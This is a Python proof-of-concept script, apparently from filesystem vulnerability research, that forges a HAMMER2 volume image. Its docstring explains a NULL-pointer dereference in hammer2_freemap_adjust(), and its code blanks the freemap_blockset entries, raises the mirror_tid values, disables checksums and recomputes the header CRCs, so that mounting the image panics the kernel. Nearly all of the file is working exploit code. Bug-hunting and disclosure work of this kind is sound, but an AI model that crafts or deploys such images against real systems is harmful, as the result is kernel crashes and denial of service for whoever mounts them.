DF-2651 / forge_2651.py
#!/usr/bin/env python3 """ DF-2651 forger: NULL-pointer dereference in hammer2_freemap_adjust(). forge: * blank all 8 freemap_blockset[] entries in the volume header so the in-memory freemap tree (hmp->fchain, whose embedded data IS voldata.freemap_blockset) has no FREEMAP_LEAF covering any 1GB region -> hammer2_chain_lookup() in hammer2_freemap_adjust() returns NULL; * bump the testvol PFS-clause bref's mirror_tid (0x11 -> 0x20) so the mount-time recovery scan (hammer2_recovery_scan, vfsops.c:2234) unconditionally calls hammer2_freemap_adjust(hmp, &parent->bref, DORECOVER) for it; * CHECK_NONE on the touched ancestor brefs + recompute volhdr CRCs. mount -> recovery -> adjust(): lookup returns chain == NULL, but the NULL check at freemap.c:1016 is `chain == NULL && how != DORECOVER` (always false, KKASSERT(how == DORECOVER) at :972), so execution falls through to `if (chain->error)` at freemap.c:1021 -> read at NULL+offsetof(error) -> fatal page fault / panic. INVARIANTS-independent. """ import struct, sys, os sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from h2common import * def main(): base, out = sys.argv[1], sys.argv[2] img = bytearray(open(base, 'rb').read()) vols, sbr = find_sroot(img) pbr = find_pfs_bref(img, sbr, b'testvol') # the volhdr sroot_blockset bref gates recovery recursion into the sroot struct.pack_into('<Q', img, sbr['off'] + 0x10, 0x20) print("[+] volhdr sroot bref @%#x: mirror_tid -> 0x20" % sbr['off']) # (1) bump testvol bref mirror_tid above freemap_tid (0x11) + CHECK_NONE struct.pack_into('<Q', img, pbr['off'] + 0x10, 0x20) # mirror_tid struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00) # methods=CHECK_NONE print("[+] testvol bref @%#x: mirror_tid 0x11 -> 0x20, CHECK_NONE" % pbr['off']) for v in vols: # (2) sroot bref CHECK_NONE (sroot block content is not touched, but # keep the ancestry permissive like DF-2650 did) struct.pack_into('<B', img, v + 0x201, 0x00) # (3) blank the whole freemap_blockset (8 x 128B at 0x800) for i in range(8): off = v + 0x800 + i * BREF if struct.unpack_from('<Q', img, off + 8)[0] or img[off]: t = img[off] img[off:off + BREF] = bytes(BREF) print("[+] volhdr %#x: freemap_blockset[%d] (type %d) blanked" % (v, i, t)) recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] wrote %s" % out) if __name__ == '__main__': main() |